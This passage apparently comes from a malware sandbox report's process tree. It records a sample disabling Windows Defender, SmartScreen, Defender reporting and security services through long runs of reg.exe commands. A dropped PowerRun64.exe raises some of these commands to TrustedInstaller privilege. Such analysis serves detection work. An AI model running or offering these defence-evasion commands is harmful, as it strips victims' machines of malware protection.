    reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
    3⤵
    PID:1780
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
    3⤵
    PID:2712
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
    3⤵
    PID:1132
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    PID:620
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
    3⤵
    PID:1724
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    PID:584
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
    3⤵
    PID:756
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
    3⤵
    PID:2908
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
    3⤵
    PID:2928
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
    3⤵
    PID:2932
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
    3⤵
    PID:2952
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
    3⤵
    PID:2912
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
    3⤵
    PID:2984
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
    3⤵
    PID:2124
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
    3⤵
    PID:2148
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
    3⤵
    PID:2940
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1776
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1952
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1080
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1588
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1988
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1956
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1712
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
    3⤵
    PID:1572
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
    3⤵
    PID:1008
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
    3⤵
    PID:2120
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
    3⤵
    PID:2064
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
    3⤵
    PID:2248
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
    3⤵
    PID:2576
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
    3⤵
    PID:2708
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
    3⤵
    PID:2240
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
    3⤵
    PID:1436
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
    3⤵
    PID:2140
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
    3⤵
    PID:2056
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
    3⤵
    PID:2244
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
    3⤵
    PID:2052
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
    3⤵
    PID:2936
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
    3⤵
    PID:2060
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
    3⤵
    PID:352
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
    3⤵
    PID:308
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
    3⤵
    PID:2428
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
    3⤵
    PID:2072
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
    3⤵
    PID:2368
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
    3⤵
    PID:1736
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
    3⤵
    PID:2012
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
    3⤵
    PID:3036
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
    3⤵
    PID:1484
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
    3⤵
    PID:748
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
    3⤵
    PID:600
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
    3⤵
    PID:2372
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
    3⤵
    PID:920
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
    3⤵
    PID:2092
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
    3⤵
    PID:2208
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
    3⤵
    PID:1064
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
    3⤵
    PID:752
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender notification settings
    PID:1172
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender notification settings
    PID:544
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
    3⤵
    PID:1176
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1292
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2160
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2540
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:2260
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:988
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2460
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:1504
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:2820
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1860
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2356
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:3008
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:2776
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1536
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2844
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2876
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:2712
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2788
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2192
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2932
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:1712
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2968
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1988
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:952
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:1476
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2144
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1020
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:1960
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:1464
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3028
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2372
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:1652
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:2196
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1208
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1096
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2816
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:2632
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2512
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2160
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2744
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:664
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2612
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2684
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2700
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:2120
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2096
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1008
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
